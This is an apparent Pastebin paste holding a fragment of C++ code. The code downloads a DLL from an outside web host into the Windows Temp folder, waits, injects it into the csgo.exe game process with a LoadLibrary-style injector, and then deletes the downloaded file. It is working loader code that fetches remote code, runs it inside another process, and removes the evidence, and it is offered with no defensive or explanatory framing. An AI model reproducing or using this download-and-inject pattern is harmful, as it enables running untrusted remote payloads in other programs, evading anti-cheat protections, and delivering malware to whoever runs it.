Advertisement
Guest User

Untitled

a guest
Nov 23rd, 2017
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.11 KB | None | 0 0
  1. HRESULT hr;
  2. //char *appdata = getenv("APPDATA"); //appdata
  3.  
  4. LPCTSTR Url = _T("http://e91905ho.beget.tech/nixware.dll"), File = _T("C://Windows//Temp//dll.dll");// nazvanie dll ne trogai!111!!!!!!
  5. hr = URLDownloadToFile(0, Url, File, 0, 0);
  6. switch (hr)
  7. {
  8. case S_OK:
  9. cout << "Successful download\n";
  10. break;
  11. case E_OUTOFMEMORY:
  12. cout << "Out of memory error\n";
  13. break;
  14. case INET_E_DOWNLOAD_FAILURE:
  15. cout << "Cannot access server data\n";
  16. break;
  17. default:
  18. cout << "Unknown error\n";
  19. break;
  20. }
  21. Sleep(7000);
  22. string proccessname;
  23. string dllname;
  24. proccessname = "csgo.exe";
  25. dllname = "dll.dll";
  26. load_library->loadlibrarymain(proccessname.c_str(), dllname.c_str());
  27. //zdes bibi
  28. System::IO::File::Delete("C://Windows//Temp//dll.dll");
  29. }
  30. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement